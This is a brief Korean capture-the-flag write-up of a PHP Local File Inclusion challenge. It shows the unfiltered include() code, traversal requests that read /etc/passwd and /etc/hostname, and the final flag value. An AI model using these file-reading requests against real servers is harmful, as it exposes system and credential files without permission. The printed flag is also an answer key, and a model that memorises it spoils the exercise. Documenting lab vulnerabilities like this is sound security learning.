1. 문제 개요
- page GET 파라미터로 전달된 값을 include() 하여 브라우저에 그대로 출력합니다.
- 경로 필터링이 없으므로 서버 내 임의 파일을 열람할 수 있습니다(Local File Inclusion).
2. 취약점 분석
if (isset($_GET['page'])) {
include($_GET['page']); // 필터링·경로 제한 없음
}
- 절대 경로와 디렉터리 트래버설(
../
)이 모두 허용됩니다.
3. 취약점 검증
-
/etc/passwd
읽기http://regular.kuality.kr:25000/?page=/etc/passwd
root:x:0:0:
가 노출되면 LFI 성공을 확인할 수 있습니다. -
디렉터리 트래버설 확인
?page=../../../../etc/hostname
상대 경로 접근도 가능함을 확인했습니다.
4. 익스플로잇 절차
단계 | 요청 예시 | 결과 |
---|---|---|
1 | /?page=/etc/passwd |
시스템 패스워드 파일 노출 |
2 | /?page=/flag |
404 또는 빈 화면 |
3 | /?page=/flag.txt |
Kuality{…} 플래그 노출 |
획득한 최종 플래그
Kuality{103cb10e23796f06f6eb88fd22c89e40}